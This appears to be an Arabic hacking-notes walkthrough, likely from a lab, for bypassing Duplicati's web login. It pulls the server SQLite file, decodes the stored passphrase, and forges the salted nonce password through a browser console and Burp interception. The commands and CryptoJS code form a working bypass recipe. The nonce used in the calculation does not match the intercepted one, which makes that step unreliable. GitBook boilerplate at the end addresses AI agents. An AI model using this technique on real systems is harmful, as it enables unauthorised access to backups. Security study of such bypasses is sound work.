> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati - تجاوز مصادقة تسجيل الدخول

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

أثناء تحليل الهدف، يوجد **Duplicati** يُكتشف بوابة ويب. تكشف البوابة عن لوحة مصادقة تتطلب كلمة مرور.

<figure><img src="/files/bd549bcd9984c458486817930cbcab6e4a214ed6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati هو عميل نسخ احتياطي يخزن نسخًا احتياطية مشفرة وتزايدية ومضغوطة للملفات المحلية لدى مزودي التخزين السحابي أو خوادم الملفات.
{% endhint %}

يحدد تعداد النظام دليل إعدادات Duplicati في `/opt/duplicati`. ملف SQLite `Duplicati-server.sqlite` قد يحتوي على معلومات حساسة.

<figure><img src="/files/a194841cc0b606bf38df4b9e8d9c905aa58d22f6" alt=""><figcaption></figcaption></figure>

#### تنزيل ملف SQLite

لتحليل الملف، قم بتنزيله إلى جهاز المهاجم باستخدام خادم HTTP في Python:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/ea5577e635abf4092dc378aeeae17ad35d4d8b45" alt=""><figcaption></figcaption></figure>

#### تحليل ملف SQLite

افتح الملف باستخدام `sqlite3` لفحص محتوياته:

```bash
sqlite3 Duplicati-server.sqlite
```

اعرض الجداول وحدد `الخيار` جدول لاستخراج البيانات:

```sql
.tables
select * from option;
```

<figure><img src="/files/e3b7b949a7b327313efa5808cfc10d4c2378d570" alt=""><figcaption></figcaption></figure>

| المفتاح                           | القيمة                                         |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### تحويل عبارة المرور

الـ `server-passphrase` القيمة مشفرة بصيغة Base64. فك ترميزها وحولها إلى ست عشري باستخدام:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/9d2284624f2c2a6d63392afc5c78426a94c09990" alt=""><figcaption></figcaption></figure>

#### وهذا يعطي القيمة الست عشرية التالية:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### حساب كلمة المرور النهائية

لتوليد كلمة المرور النهائية، نفّذ الخطوات التالية في وحدة تحكم المتصفح:

**عرّف عبارة المرور المملحة:**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### اعتراض الطلب باستخدام Burp Suite

اعترض الطلب في Burp Suite، واختر `اعتراض > الاستجابة لهذا الطلب`، ثم انقر على `تمرير`.

<figure><img src="/files/6c5fbf5755833877bc85c7ed9a9f27fababe7193" alt=""><figcaption></figcaption></figure>

طلب HTTP تم اعتراضه باستخدام **Burp Suite** يكشف عن القيم التالية:

<figure><img src="/files/c0786b200b04c0e57c930ebac61ec208c6b4d544" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

الـ `الملح` الحقل يطابق `server-passphrase-salt` القيمة المستخرجة من قاعدة البيانات.

**احسب كلمة مرور nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**اطبع النتيجة:**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/73c210ffcfa7fb48103fc7fbf84506ebfd9a61f9" alt=""><figcaption></figcaption></figure>

كلمة المرور المُولّدة (`noncedpwd`) هي:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### حقن كلمة المرور والاستغلال

1. ألصق كلمة المرور المحسوبة.
2. استخدم **Ctrl + U** لترميزها بصيغة URL.

<figure><img src="/files/16f01fb63ebbad0e3d53fb4e40ecad70827a6a39" alt=""><figcaption></figcaption></figure>

3. انقر على **تمرير** مرة أخرى لإكمال الاستغلال.

<figure><img src="/files/7513e1a670b9111be4ff86991c2cf310cf30050c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
